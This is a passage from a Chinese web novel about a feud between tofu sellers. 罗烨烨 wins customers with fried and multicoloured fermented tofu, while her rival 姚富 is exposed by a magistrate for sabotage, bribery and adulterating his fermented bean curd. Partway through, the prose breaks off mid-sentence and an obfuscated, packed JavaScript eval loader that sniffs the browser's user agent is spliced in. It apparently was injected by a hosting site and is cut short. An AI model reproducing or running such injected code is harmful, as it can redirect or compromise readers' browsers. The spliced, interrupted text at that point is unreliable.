“是最佳掌柜,”萧握瑾的声音轻轻的,似乎颠了一下她。也或许是她太困了,声音像流水一般,淌过她耳畔,又离她渐远,“和优秀东家。” 萧握瑾,好狡猾。 罗烨烨在心里嘟囔,可她已经没力气再置气了。困意像一张大网,把她整个人兜住了,往下坠,往下坠。 坠—— 罗烨烨猛得惊醒,一股异常冲烈的浓臭味钻进鼻腔,令她整个人弹起来,差点从萧握瑾背上翻下去。胃里一阵翻涌,她捂着鼻子,瞪大了眼睛。 “Yue!” 干呕完,赶快扬起脖子张望,已经到了醉仙楼后院的门口。 罗烨烨紧皱眉,借着月光,黑乎乎的液体泼了一地,顺着台阶往下淌,几只破桶歪倒在墙根,散发出的臭味熏得人睁不开眼。 “那什么东西啊?”她拍着萧握瑾的肩膀,声音都变了调,“怎么黑乎乎的,咱们厨房是被砸了吗?” 萧握瑾没说话。罗烨烨低头一看,不妙,月光下,这张好看的脸啊,照得是青白。眯着眼,眉头蹙着,嘴角往下压了一点,脖颈上青筋都显了出来。 连萧握瑾看着都真生气了。 罗烨烨果断从他背上跳下来,绕到他前面一看,完了,真是一片狼藉,原本干净的小厨房毁于一旦。隔壁院子的门接连洞开,一个老妇才风风火火过来,捂着鼻子指着她嚷嚷: “你俩总算回来了,这厨房泼了粪水啦!大半夜的,还让不让人睡了?” “哎呀,臭死了臭死了!”又有几户人家开了窗,七嘴八舌地抱怨,“臭气熏天的,吃食都坏了吧?赶紧收拾收拾啊!” 不用想,谁干的。 是姚富呗。 罗烨烨渐渐攥住拳,顾不上答话,三步并作两步冲进厨房。 门一推开,她整个人定住了。灶台被掀翻了,锅碗瓢盆碎了一地,墙上也泼着黑糊糊的东西,案板上她下午刚摆好的竹 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她捂住口鼻站起来,袖子重重抽两下膝盖上的灰,转身走出厨房。眼见月光照着萧握瑾一身白衣,他手里的折扇还没收起来,挡着半张脸,也正望着她。 这副模样叫罗烨烨有点想笑,他俩现都捏着鼻子呢,这贵公子也是吃瘪了,罗烨烨也宽慰他:“别气别气,我有招呢。” 他目光沉沉,掀了眼帘,语气淡淡:“院内方才只有一人的气味。” 罗烨烨倒没多意外,只点头,往院角去。小二跟上她,看她翻着里边杂物,有几只没被砸碎的碗碟,不过太脏了。小二犹犹豫豫才问:“东家,你干啥啊?” 罗烨烨又从灶台底下抽出一只铁锅,锅底黑了,但没破。也没看他:“这么晚了,大家不是都没吃饭吗?我也没吃饭。咱做饭吃,不管别的了。” 她转头看向萧握瑾,指了指院门口那辆推车:“萧老板,帮个忙,把这摊子推到街上去。” 萧握瑾看着她,没问为什么,提着食盒走过去,单手把推车推到了巷口。 而罗烨烨,她端着那口铁锅,从推车后跟出来。面前沿街的大院巷口啊,已经围了一圈被臭味熏醒的邻居,个个捂着鼻子,探头探脑。 她环顾了一圈,深吸一口气,提高声音:“各位街坊,对不住了,大半夜吵醒你们。是我们这边出了点事,臭着大家了。” 她说完就觉得有点想笑,接着便笑一下:“不过咱都醒了,也不能白让大家醒。今晚我请大家吃煎豆腐,算赔个不是。” 她鞠个躬,顺势,把锅架在推车的炉子上,从那个食箱里捞出一块白豆腐,已经杀水放老了,刀起刀落,切成薄薄的片。 “今晚不吃辣,”她把豆腐片铺进油锅里,滋啦一声,白烟腾起,“咱吃——” 她抬头,想看群众有多少呢,结果视线一飘,便飞去找站在推车边的,萧握瑾。 “煎豆腐。” 罗烨烨说完,低下头,翻了个面。 金黄的,焦香的,在这条被污浊染黑,摸不见影的深巷子里,居然渐渐油香了起来。 “……半夜吃油炸,这么丰盛?”那邻里有点被触动了,鼻子也跟着凑了凑。罗烨烨笑一笑,随即回他,“对老己好一点嘛,这算啥?” “瞧一瞧咯,看一看!” 杏衫道袍立灶前,油香引得满街喧。 她扬声吆喝嘞:“今日咱们不发霉,咱们不做辣。咱们来一场油锅烹炸,热食暖胃——煎豆腐。” 14. 招牌 第三日,艳阳天。 日头爬上檐角,院子里的光晃得人眼皮发沉。几个家丁蹲在墙根下打盹,是被晃醒了,睁眼懵懵的:“诶,又有道姑偷仓库了。” “不是,你没听说?”一个瘦猴似的家丁咽了咽口水,眼睛发亮,“前夜里隔壁后院,说那豆腐煎得两面焦黄,里头嫩得像水,半条街的人都去了。” 胖家丁半梦半醒:“你吃了?” “没,老吴吃了。” 瘦猴家丁只管摇头,罢了又压低声音,熄不下那股兴奋的火,“还有酱,红亮亮的,浇上去滋啦一响,又鲜又辣,又甜,听说原本是豆腐辣酱,哎呦,老陈吃了一块,说舌头都要吞下去了。” 另一个年轻家丁一直没吭声,忽然开口:“那她们家霉豆腐不是没发好吗,拿什么卖的?” 瘦猴家丁皱眉啧一声,往两边瞄了,低声:“没卖,是煎白豆腐,不要钱,听说是为御膳打名声。” 说着,他都忍不住开始搓手指头,他前晚也叫老吴带了一块,尝了,现在喉咙里还有那个鲜味呀: “还有阿珍,老陈,打更那个老刘头,都吃了。还把官差都招来了,正巡夜呢,都凑过去看了两眼,要不是我当值,我都想过去……” 话没落地,便有人撞他一肘子。 院门不知何时开了。一道圆滚滚的身影立在门槛内,背着手,笑眯眯的,日光照在油光满面的脸上,亮得晃眼。 “诶呦,东家……” 几个家丁忙站起来,弯着腰,脸上堆起谄媚的笑。姚富摆了摆手,笑呵呵的,蛮慈祥和蔼道:“无妨,无妨。” “你继续说呀!” 有看热闹不嫌事大的乞丐,已经趁早在施粥摊前等了,坐地上恶笑,等着听趣事呢,“煎豆腐,然后呢?” 瘦猴家丁张了张嘴,喉咙收缩,还是旁边那个跟出来的管事云姨,笑笑解围:“前夜被官差抓了,乌合之众罢了。咱们招牌在这,不跟他们一般见识。” 姚富便朗声大笑,迈开步子,朝外大步走去:“都散了吧,今早还有的忙呢。”他的声音从院里飘过来,一副闲论无关紧要之事,“无妨。” 呵呵,当然无妨。 他面上笑,心里早翻了个白眼。一个新来的霉豆腐,连招牌都没有,凭什么叫板? 楼门坦阔,他用鼻子深吸一口气,夜深时的重露还未散尽,一股潮气。便想起昨晚仓库后院,云姨还对罗烨烨的霉豆腐,如见心腹大患之态。 他就是笑呵呵过去,不足为虑。云姨走商走多了,看谁都像对手,那种小伎俩,也配跟他争御膳名额? 今日,擎等着看她发坏霉吧。 门槛靠街面,他慢慢跨出,日头正正落在头顶,晒得人浑身舒坦。真是阳光明媚啊,日头高照枫城东,姚家招牌依旧红。 姚富今天起得也早。 他往前走到自家酒楼门口,方入座,面前便摆上一碗肉沫粥,一碟酱菜。日头将他身上绛紫袍子晒得发亮,连同他头顶招牌,也洗了层金光。 姚氏腐乳四字,原本不叫姚氏。 几十年前,他师父做腐乳一绝,却从不懂吆喝。徒弟们学成后各奔东西,只有姚富这个最笨的留了下来。师父走了,他把铺子接过来,换了招牌。 他不会做菜,但会做生意。施粥、布善,跟衙门称兄道弟。他让全枫城的人,都记住了这四个字。 姚氏腐乳。师父的手艺,他没能传下来,可师父的招牌,他没让它倒。 这四字,他日日擦过好几遍,才常新。 “施粥了——” 缎衣小厮一嗓子喊开,破烂乞丐们围上来。 端着碗,皆眼巴巴地望着那口大锅,看大调羹一勺一勺地舀,每碗都满满当当。新来的乞丐接过碗,低头一瞧,粥面上浮着一块红彤彤的东西,黏糊糊的,凑到鼻子边一闻,脸皱成一团:“这发霉了吧?” 旁边的老乞丐不说话,埋头只顾吃。 乞丐将信将疑,用筷子夹起那块腐乳。皱起鼻子,硬塞进了嘴里。 “呕!” 却有一股浓烈、又是咸是臭的味道,直冲脑门,令他胃里一阵翻涌,直叫道:“真难吃!呕,跟坏了一样,根本不能吃啊!” 小厮立即皱起眉,噔噔噔几步就过来了,苦口婆心劝:“这是专门发的霉,是腐乳霉,好霉好豆腐,你多吃就好吃了。” 这话愈听,愈刺耳。姚富站起身,亲自走到施粥摊去。家仆给他躬身,他摆摆手将他们挥开,只看地上乞丐,笑呵呵道:“我们家是腐乳,不是什么霉豆腐。是用玫瑰露和桂花蜜酿的,好东西,你再尝尝。” 不料乞丐却破口大骂:“我才不吃这破玩意呢!难吃死了,你们真是害人呀!” 于是迎面磅地一拳。 家丁撸起袖子就打,几拳下去,渐出血花。愈来愈多的家丁涌上,对他拳打脚踢。姚富就立在一旁,目光晦暗不明。在他默示下,豆腐脑变成鲜豆花,便唯有老乞丐一刻不停吃粥,一勺一勺地往嘴里塞。 姚富伸手拦住。他转过身,重新舀了一勺,倒进那乞丐碗里,声音还是和和气气的:“没事,新来的吃不惯,多吃几次就惯了。” 哗啦啦白粥混腐乳,沾的是鲜红的,带着腥味的水。姚富笑容可掬,光照着他,红光满面。 “吃吧。” 青衫布履在他们之间穿行而过,身后跑过几个买早点的学童。挑担的竹筐里瓷碗叮当碰响,行人络绎不绝,手中粉白栀子,鹅黄玉兰一路香,众生百态,各自忙碌。 因而众人的目光没在乞丐身上停留多久,而是被一声吵闹给打断:“醉仙楼开张啦,听说前二十位免费尝霉豆腐,送辣酱嘞……” 人声越来越远,勾得几个围在望江楼前的食客,飘了步子跟过去。还有些知晓前因后果的,也八卦:“不是开张,是今早醉仙楼过复查,掌柜主动把日子提前了,本来说是三日后。” 这一说,不免勾起许多人好奇:“能解封吗,这是查过就能解吗?” “肯定能,听说还有新招牌上呢!” “听说掌灶是豆腐西施,做的豆腐一绝!” “走走走,去看看!” 人群如溪流从四面八方汇来,前脚后脚跟上去凑热闹。一到这个时辰,街上就真是红火起来,连姚富也不知不觉,被冲得东走西走,往那醉仙楼凑近。 人流一往那处拐弯,沿街小摊的各种旗帜招牌迎风飞,勾到蓝天白云下,醉仙楼前。入目一张长案摆开,上头铺着白布垫的竹篾,几只粗瓷碗,旁边一碟辣酱,红亮亮的,在阳光下泛着光。 案后站着一个人。 桃杏色褙子,窄袖短襦,底下一条旋裙。发髻上簪着桃花,鬓边也别着桃花。阳光落在她面上,衬得那杏眼桃腮愈发鲜亮,像三月枝头,方绽开的一抹春色。 她手里拿着一双长竹筷,正把锅里的豆腐一片片夹出来,码在碟子里。动作不快不慢,稳稳当当。 “来来来,尝尝,不要钱。”她抬起头,冲人群笑了一下,两个梨涡浅浅的,正把金光流的蜜,盛进去了。 人群往前涌了涌,而前头第一个接过碟子的,是前夜里吃过煎豆腐的老陈。他咬了一口,眼睛又亮了:“还是那个味儿,好吃!” “这辣酱绝了,豆腐煎得焦焦的,里头还嫩。” “比姚家的好吃多了!” 姚富脸上皱起眉,却看见那霉豆腐摊主像是听见了,却没说什么,只是笑着,又往锅里铺了一层豆腐片。 “咱们霉豆腐啊,不光能刷辣酱,还可以煎着吃,就是带毛直接煎,外焦里嫩,像煎好的软酱一样,保证口感有层次。” 她说呢,阳光就从她嘴角笑上,流到她身上,把她那身桃杏色的褙子晒得发暖。鬓边的桃花被风吹得招招手,叫他们,来看看呀。 然而人群里像是又说了什么,乱糟糟的。罗烨烨面上却是歉意,她手向下压,做一个稍安勿躁手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他眼睛里都着了火,是既兴奋又高兴,一阵从脚底涌上来的麻爽得他颤抖,直指着那绿霉豆腐狂笑出声:“坏霉!你这就是坏了!什么霉豆腐?绿成这样,不是说白毛吗?白毛在哪?长坏霉还来卖?这不就是坏了!” 他越吼越愤怒,直把自己心中的火都吐出来了。吐完,竟有他自己的回声钻进他耳朵里。声音之大,连自己都吓了一跳,可他停不下来。 “肯定又难吃,又难闻!” 他说着,忽然觉得浑身发软。刚才挤得太猛了,腿肚子有点抖。他扶着膝盖喘气,余光扫见周围人的目光,疑惑、诡异,像看疯子。 他后背又冒汗了。 在干什么呢?都愣着,这么看他。哦,是不是他太激动了?这样指着人家摊子大喊大叫,会不会显得他太在意了?会不会让人知道,这坏霉是他搞的? 他心口一紧,有点冒虚。但同时他又愈加有底气,直起身来:“看什么看?你们自己尝尝,这豆腐好不好吃,发绿霉了还吃?” 人群安静了一会,之后,让出了一条路。 不是让出条路,而是他才发现,那人山人海中间,有个缺口。露出了那片桃花色,是罗烨烨。 她站在那儿,一手摁着锅盖,一手拿着铲。瞧见姚富啊,只随意地哦一声,微微笑了。 “姚掌柜,你也来吃豆腐啊。” 她也不顾他回答与否,便径直掀开盖布。 赫然,那竹篾上竟不只有绿,是赤如丹,黄如金,粉似桃,蓝近靛,茸茸密密,非丹青所绘,恰菌丝而生。五色纷披,跳入众人眼帘,溅起一片惊呼。 罗烨烨大笑,声音清亮亮的:“姚掌柜,假如你犯了大罪了,十二生肖决定你的临终猫豆腐……” 她说着觉得不太吉利,挠挠头,又摆手了。 “算了。掌柜既然亲自前来,喜欢什么颜色,自己选一个吧?” 15. 分晓 姚富怔住,张口结舌。 眼前赤黄粉碧争春色,晃得他头晕目眩,半晌才听出她话中意思,便如一盆油浇上来,点着了他:“你说谁犯大罪?你敢咒我!” “开个玩笑罢了,你急什么?” 罗烨烨眯起眼,鼻底哼一声,反倒歪头,“你不会真指望我对你有好脸色吧?姚富,你自己做过什么,心里没数?” 不料她如此不体面,姚富脸涨得通红,累得正欲一口大喘气咆哮出声,罗烨烨抬手打断:“你也别在这闹了。刘顺,请李大人。” 刘顺诶一声,竟是方才站她旁边吆喝的小二,喜气洋洋地往楼里去。这下令姚富大跌眼镜,指着他大骂:“你不是叛了吗?我让你去她后厨泼粪,你敢背刺我?!” 他这话说出,人都笑了。满街都围着圈在这看呢,连罗烨烨都哼一声,姚富面上红到脖子,都禁不住心里骂了,太尴尬了,偏偏还有人高声嚷道:“真是你弄得呀,姚掌柜?不是,前夜里真给我臭醒啦!这是误伤呀,你得赔我!” “你给我少胡言乱语!谁泼粪,谁泼粪?是你!” 他已气急得跺脚,失了神智,就要捏拳朝人群挥打,街坊顿时叫声一片,有躲他有拦他,正乱间,还是酒楼后面传出一声呼喝,才止住:“姚富!咱们新县令李大人来审你,休得无理!” 众人遥看,还是刘顺,笑嘻嘻地,扶着一位青绿衫的乌纱帽,慢慢来了。 姚富先是睁大眼盯,居然面熟,心里咯噔一下。这不是方才他楼前打乞丐时候,路过那个人吗? 那李大人身形清瘦,帽下压着一双灰蒙蒙的眼,瞳色浅淡。姚富一愣,随即松了口气。哦,是目盲。 看不见! 可那口气还没落地,李大人却面朝他的方向,开口了:“姚富,今早在望江楼门前,是否发生斗殴?那乞丐被你家丁打出血,人还是醉仙楼送去药铺的。你认不认?” 他心里又猛地砰的一声,张了张嘴,一时竟不知从何辩起。不过正在这时,一个家丁从人群里扑出来,五体投地趴在地上,哭喊: “青天大老爷,您要睁眼看看呐!是那个乞丐先胡搅蛮缠,非要砸我们招牌,那么多人围着,他闹事,我们也是迫不得已才把他赶走的!” 帮手来了。 姚富顿觉一股底气从丹田里生出来,他慢慢挺直腰腹,换了口气,渐渐恢复那副沉着作派,缓缓道:“正是。若非那乞丐先闹事,我怎会出手?此等刁民,不该留在市井,否则扰乱别人经营,破坏治安。” 街坊听得都激了:“你就瞎叭叭吧!我亲眼看见你们对着地上乞丐拳打脚踢,就因为他不吃你们家腐乳!难吃死了,天天不叫我们说,到底谁破坏治安?谁危害生意?” 姚富气不过,脖子粗了,指着那人脸骂:“你这货天天说假话,我凭啥不打你?谁说我腐乳不好吃?那么多乞丐都抢着吃,就你不吃,是你有问题!” 那街坊也龇牙咧嘴:“你这个下三滥再搁这污蔑人,我也揍你!” 俩人掐架一触即发,其他街坊赶紧扯胳膊拽衣襟拦下了。这俩当街对着互相哈气,交杂着“早看不惯你了”、“我家豆腐最好吃”的吵嚷。 李大人拿着罗烨烨递来的大锅铲,往锅盖上敲了两下:“别吵了,还能不能升堂了?能不能升堂?” 她身后立着几个持旗的官差,这位目盲的李大人面朝着街面,虽看不见,靴尖却直直对着姚富,掷地有声: “我就说你,这几日彻查,日前那起食物中毒,张某吃的不是醉仙楼的红糖糕,而是你家腐乳。你认不认?” 姚富拽了拽袍子上的褶,冷笑:“呵呵,我家腐乳?你再问问张某,吃的就是他们家红糖糕。” 李大人皱眉:“你这是什么态度?那我便实话告诉你,你家腐乳难吃,街坊皆知。我们对照红糖糕的风评,便知他吃的不是红糖糕。” 反而街坊邻里哄笑一片,更有吸气吹气,一阵唏嘘。这可是官方盖章,他家腐乳难吃啊。 李大人还没说完:“还有,你违规在腐乳里放坏红曲和过量白矾,导致张某上吐下泻,卧病难起。这事你心知肚明吧?” 本来,姚富就觉出难堪,脸都皱一块了。原先他与衙门交好时,从没人说他做得不好吃。此时却被当众揭了疮疤,又羞辱一次。 可这话,叫姚富彻底懵了。他根本没做过的事,怎么认? “怎么可能?”他嚷起来,“我家的食材都是好的,都是专门进的货,怎么可能有坏?别说坏了,是越来越好!你看看我们家腐乳,多鲜、多红、多嫩,怎么可能坏?” 街坊打断他:“又鲜又红又嫩,你自己听听,这不是说瞎话吗?卖相这么好,又不好吃,不好吃的原因很难猜吗?” 姚富还要争辩,李大人一挥袖:“带证人。” 居然,从酒楼里面,几个姚家家丁哆哆嗦嗦走出来,缩着脖子。姚富真是如遭雷劈,手指着他们,却一个字说不出来,都是熟人、昨个还在后厨,今日全出来背刺他! “你们这群畜生!”姚富怒吼,而那几个家丁不敢看人,手攥着衣角搓来搓去,有一个瞥了一眼地上跪着的小厮,伸手指了过去。 “就是他……我、我亲眼看见了啊!那红曲都放多少夜了,他加进去,还倒了好多明矾……” 姚富愣住了。 然而他还没扭头呢,他心说不是的。不可能,结果那小厮扑通又磕头,居然哭着认了:“我只放了一点……根本不会致死的,就是吃坏肚子,不是什么大事!官老娘求您放过我……” 姚富如遭晴天霹雳。 “不可能!”他大叫,“这咋可能?!我豆腐就是好的,一直都是好的,从十年前传到现在,一直都是好的!” 他吼完,心里却空荡荡的,随之,是恐惧裹住了他,那头顶太阳真晒!头上的油脂和汗水糊住了她眼睛,刺痛难忍,令他胡乱抹脸,又愤怒被陷害,这是被陷害了啊!他指着地上的小厮破口大骂: “你不是说改良了吗?你骗我!你凭什么骗我?你不是说已经改好配方了吗?!你故意害我!” 小厮自知没救,哭着扑过来抱住他的腿:“掌柜,掌柜,我这是听了您的呀!您说要改配方,说卖相不好、味道不好,我月例就保不住了,我上有老下有小啊……” 姚富听不进去一个字,疯了一般指向罗烨烨:“是你!你们说的话一模一样,你们联手诬陷我!” 他愤怒,他咆哮,看见自己越来越模糊的视线里,那摊上的红,那么扎眼。 他猛地抬手就要拍飞她摊子:“是你们诬陷我!赵捕头呢?把赵捕头喊过来!你们联手构陷我,这是欺压!” 这时,刘顺捧着一纸公文,又站上了那个站台。这回不是吆喝了,而是展开公文,嘴角压不住笑,清清嗓子,高声念道: “犯人赵某,经查明,长期与姚氏酒楼勾结,收受贿赂赃款五百两,革职查办,处监禁。现发现前日已于自家小院,畏罪……” 他顿了顿,有点不认识那个字,抓耳挠腮,最后干脆道:“就是上吊啦!” 五雷轰顶。 姚富脚底一软,站不住了。他跑了太久,挤了太久,又急又气,加上日头暴晒,眼前一阵阵发黑。他向后倒去,人群的叫声和呼声都显得不真实,往远处飘飞。 为什么?凭什么?! “我早就知道他家豆腐是坏的,腐乳腐乳,那肯定是腐坏了呀!” 底下的议论声像蜂群,嗡嗡地涌上来。姚富破大防,他挥拳要打,那体重,官差都拦不住,直接把旁边说闲话的街坊推倒了:“你说啥?你再说!腐乳发的是好霉,是好豆腐,你再瞎叭叭!” 街坊坐在地上扯着嗓子叫:“那你说为啥中毒?为啥中毒!” 一圈的人围着他,接二连三地指责,叫他给个解释。姚富只觉得大脑嗡嗡地响,日头晒得他满头大汗,汗水流进眼睛里,蜇得生疼。他抹了一把脸,声音低下去: “……那是不好吃,他吐是因为不好吃,不是坏了……” 这是假的,不是真的。 凭什么就是他这么倒霉?明明他不想做坏豆腐,偏偏遇到那么多人背叛他、背弃他、给他使绊子。偏偏来了一个新人,连招牌和地基都没有,就这一两天的功夫,把他打败了。 凭什么有人有天赋,他就不能有?他笨鸟先飞,无数次改良配方,无数次加练,凭什么换来这样的成果?他就想自己去做,自己去弄,为什么每每失败?为什么没有人真正吃他做的豆腐? “你太浮躁了。” 一个声音从人群的簇拥处传来,是罗烨烨。不,是从记忆深处浮上来。苍老的,沙哑的,带着恨铁不成钢的叹息。 “你是经商天才,但你不懂配方的奥妙。你觉得光宣传就行,可你没有好的菜品,宣传有什么用?大家吃到的不好吃,你宣传得越凶,砸招牌砸得越狠。” “你闭嘴!”< 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他怒着怒着,声音都颤抖,气得发笑,最后闭住眼。他脸上已经泪痕纵横,真是气怒了,气极了,气死了。 也完了。 完了,真的完了。 他心里忽然涌上一阵恐慌,极度的没底。尤其是看见那些官差,没一个眼熟的。啊,他这是犯法了吧?这是犯了律法了吧? 他看着这群人,这条慌乱的街,觉得心脏开始抽疼。他心脏不好,吃得太胖了。他就爱吃,爱吃才会做,结果把自己吃成了这副模样。脂肪压着心口,压得他喘不上气。 以次充好,欺上瞒下。 他看着眼前这一切,那块姚氏腐乳的招牌,离他越来越远了。 目光渐渐涣散,声音低下去,呼吸都哽住。 “只有我在传你的招牌……你却不感谢我,你反倒来说我……” 他箕坐在地,那光真冷啊。如此炽烈,如此冷,浇在他那件落败的紫袍上,全是干涸的泥土。 完了。 群乡邻里、看客、围观文人墨者、商贾,有袖手旁观的,有握拳而立的,皆默默不语,一时死寂。 不知谁动了动脚底,鞋掌摩擦石砾的声音,一块石子被踹到了姚富的膝盖边。 街上的喧哗声越来越大,有愤怒,有气愤,有压抑,像一头越卷越大的炉火,各自冲撞着叫喊: “姚家腐乳被查了……” “那是加了东西,吃了伤身!” “什么玫瑰露,都是假的!” 消息像长了翅膀,从醉仙楼传出去,一传十,十传百。人群开始往反方向走,从醉仙楼门口涌向望江楼,越聚越多。 “我就说那味道不对,又咸又苦!” “我家仔吃了拉肚子!” “骗子!还大善人呢?我呸!” 姚富抱着头,坐在地上,肩膀剧烈地抖动,没出声。但泪已经流了满脸。全完了,他想起师父的脸,那张脸在记忆里已经很模糊,只剩一双眼睛,浑浊的,疲惫的,看着他,很缓慢:你把我的招牌…… “砸了他的招牌!” 像是再也压不住的锅盖,最后一声蒸汽般的喝叫,直冲天际:“跟我去望江楼!砸!” 姚富猛地反应过来,面上还挂着涕泪,连滚带爬地往望江楼跑:“不要!你们不要去!那是我的招牌——” 这边砸声震瓦,那边日暖风轻。 豆腐摊前,剩下的零星几个文人墨客,笑呵呵地,朝摊上,被阳光明媚照着的粉桃花罗烨烨,拱手恭贺道: “掌柜今日开业真是好吉兆,大仇得报。在下不才,祝您往后财运亨通,开业大吉!” 罗烨烨立在案后,桃花与她颊上映色,她也忙活许久,闷出些热红。此时她却摇头,只低眼将霉豆腐托起一板,用白布轻轻包住,尽量不把那七彩毛给弄塌: “还没结束呢。今日我醉仙楼过审查,除了平反冤案、打击恶人,还是我展示招牌的日子,我们招牌还没正式宣传呢。” 她回头看了一眼身后。官差正收拾旗帜,李大人拍了拍衣袍,端起水碗慢慢喝着。刘顺还在煎豆腐,使袖子擦汗。旁边萧公子在玩扇子。 她转回目光,却见一个小孩跑过来摊前,扒着问她:“姐姐,你不去看吗?” 她笑了一下:“去,现在就去。” 又转头对周围人道:“刘顺你留这吧。其余各位,走吧?” 16. 头彩 望江楼前,再不同往日风光。 积压了许久的怨气,一朝点燃,便如野火燎原。人群涌进姚家楼盘,砸的砸、抢的抢,碗碟碎裂声,哭喊声、怒骂声混作一团。 “别砸,别抢!你们别砸我的招牌……” 姚富坐在地上,两脚岔开如簸箕,哭得涕泪横流。他这话当然若耳旁风,尤其那几个小叫花子,这酒楼一倒闭,简直如鲸落一般,个个埋头争着扒拉砸烂的坛子,抓起白豆腐往嘴里塞。 真是太饿了,谁来做这条街的主,和他啥干系?现在不吃,一会官差来了都抄走,就白瞎了。 果然一想,倒霉就来。那官差到得是真快,长手一伸,就把那个小乞丐离地提走,剩下的挤进人堆,连推带搡,拦住前头那个摔瓦罐的: “别抢了别砸了,这些东西要充公的,你们砸完了我们怎么没收?都别乱!再砸再抢,同罪入狱啊!” 这一声吼,总算让愤怒的人群有了几分忌惮。几个妇人正往怀里揣腐乳坛子,也讪讪地把它搁回摊车上,往后退了两步。 人群让开,李大人一袭青衣,被官差搀扶,姗姗来迟,身后的侍从展开卷轴,高声宣读:“姚氏私下行贿,窃取御膳名额,今按律裁决,御膳名额另行选取。” 众人屏息等着下文,有的往远处街转角瞟,看那对渐行而来的杏衫白衣。不料那官差并了卷轴,只丢下一句: “自即日起,为期两日,重新选拔。” 李大人公布:“比试之处便设在望江楼。诸位可将自家菜肴端上来,这便开始遴选。” 此话一落,先是鸦雀无音,才是渐渐的嗡嗡声,如潮水般漫开。上面果然已经开始备摊,几个官差将几座姚氏摊车并到一块,厨具啥的都摆好,也搜刮出一些食材,有肉有菜,一并摆到箩筐里,真是做菜架势。 底下街坊们见状,更是交头接耳,一时没人敢上。有人悄悄疑问:“是不内定,还是让咱们代做?” 旁边一个压着嗓子道:“离御膳上京只剩五日了,就算真遴选,若是第二日才选上,赶路都来不及。” 这可不意味着,必须今日晌午前出结果吗? “别砸了。” 罗烨烨伸手扶住车把,一手按在望江楼门口那张歪倒的摊车上。这车被砸得缺了一角,但木架子结实,是好东西,还能用呢。 旁边那个叫花子正从砸烂的盆里扒豆腐,见她按住车把,讪讪缩回手。有卖豆腐老汉见她,正愁没人问,便凑来:“你们是自己上京,还是官家派车接送你们啊?” “就是他们争的其实是官家自己派马车送他们过去的那个名额,其他人想送御膳可以自己去。” 叫花子看她没听懂,勉强呲了个牙,“不过那样就慢了,没有官家的快。如果要自己去的话,没有近道走。到了新地方还会再选的。” “你吃吧,”罗烨烨瞥了他一眼,“反正要充公的,吃不完也糟蹋了。” 叫花子随即扑上去,抓起一把白豆腐就往嘴里塞。他们都是逃荒来的,姚富在的时候吃怪味腐乳,姚富倒了反倒吃上纯白豆腐。嫩水水的,甜味就香得不行。 “拿走吃,这车我要用。”她说着把车往前推,那叫花子跟她几步,把那个车上豆腐扒下来。 车上还剩点白渣子,她把自带的竹篾垫上,边推边吆喝:“既然重选御膳,那我给大家来开个彩,开个好头。我们是第一份御膳,七彩猫豆腐啊,用的是不同色的粉。” “常来醉仙楼的老客,想必昨日晌午后也瞧见刘顺上街采买色粉了。咱们做法不算繁复,不过是霉制时添些可食的彩粉,风味不改,单为提个色泽,应和咱春日里花红柳绿的光景。” 日头正好,照得望江楼门前的人群,头顶乌发都发亮。街坊让开一条道,一辆摊车被缓缓推来,推车的人一身桃杏色褙子,底下旋裙随步子轻轻摆: “绿色是茶粉,黄色是豆粉,粉色是用的红曲。自然是好红曲啊,经得起检验。蓝色只有几块,用了蝶豆花,但孕妇忌口。这是一味中药,它活血化瘀。” 摊车稳稳当当,停在望江楼正门口。她没急着说话,先抬手把鬓边被风吹歪的桃花扶正,然后才抬起头,朝人群笑了笑。 “诸位,”她这声音还真如三月春风,把满街的燥气都吹散一些,“方才官家说了,御膳重选。那我先来抛砖引玉,七彩猫豆腐,诸位请上眼。” 她揭开白布。 阳光底下,那板霉豆腐静静地卧着。赤黄粉碧蓝,五色菌丝茸茸密密,像一幅被春风染透的绢帛。可这一次,她没有像往常那样把菌丝拌掉,而是从竹篾里夹出一块完整的霉豆腐,尚覆着彩毛,搁在白瓷碟里。 菌丝在碟子里,被风吹得还会颤,像毛茸茸活的一样。旁边一个小贩凑过来看了一眼,心里有点膈应:“这……不是发霉了吗,能吃?跟姚富了一样……” 罗烨烨瞥了他一眼。 如今这条街像盘棋,望江楼倒,官家换任,新店坐庄。那小贩就把后半截话咽回去了,落了眼看那豆腐。 “能不能吃,尝尝不就知道了?” 罗烨烨把碟子往前一推,又从竹篮里取出一只小陶罐,揭开盖子。里头是红亮亮的辣酱,是她昨晚做的,还有芝麻粒儿浮在油面上,她用筷子夹起一点,往那霉豆腐上蘸了一角。 还是有分别的。相比姚富,她家辣酱不光红艳,还香得勾鼻子。这般诱惑,无端令人生出莫名冒冷的诡异。小贩瞟罗烨烨的脸,又看辣酱,再瞟一眼她。 罗烨烨没理,她叨起来这块豆腐,居然丢进自己嘴里。吃着只顾点头,挑高眉毛,便又叨一块吃。 摊车上竹篾,是一面盛雪一面霞,白毛角上沾了一点红,像雪地里落了瓣桃花。 小贩犹豫片刻,拾起筷子,也叨一块,进嘴。 他愣住了。 “怎么样啊?”后面的人急着问。 他没答话,又吃了一块。品着品着,他咽下去,舔了舔嘴唇,才说了两个字:“……好吃。” 街坊都不愿信:“真的假的?” 又一个伸手来拿,再一个。碟子在人手里传了一圈,每一块霉豆腐都只蘸了薄薄一层酱,陆续有人吃到嘴里,眉头舒展开来,眼睛也亮了。 有人猛拍小贩的肩:“你刚才搁那矜持啥呢?好吃你咋不快点说,这好吃啊!” “确实好吃!” 味还是那个味,不过因彩霞色吸引人,便有愈多不同评述接连冒出。 有说这次味道更佳,辣酱与豆腐本味平分秋色,层次与口感更丰满;也有说更喜欢先前望江楼门口打碎了罐中那种,只裹辣酱的,那等味厚,媲美酪糕质地,绵密得入口即化。 有街坊有点无语:“不是哥们,你撒地上都吃啊?”当然也有觉得这样式吃有点膈应,长的是白毛,看着不太舒服。尤其沾了点辣酱,筷子再一捣,有了毛便已塌黏,显得邋遢。 那小贩咂吧咂吧,没说话,默默又想再吃一块。 没成想罗烨烨伸手把碟子端走了,他诶一声,揪住碟子沿:“这是我盛的,我还没吃完呢!” “你不是说不能吃吗?”罗烨烨歪头看他。 “我谁说不能吃了?”那小贩被噎了一下,脸涨得红,半天憋出一句:“……我那是没尝过,不是还得我们评吗?你得让我们尝完啊。” 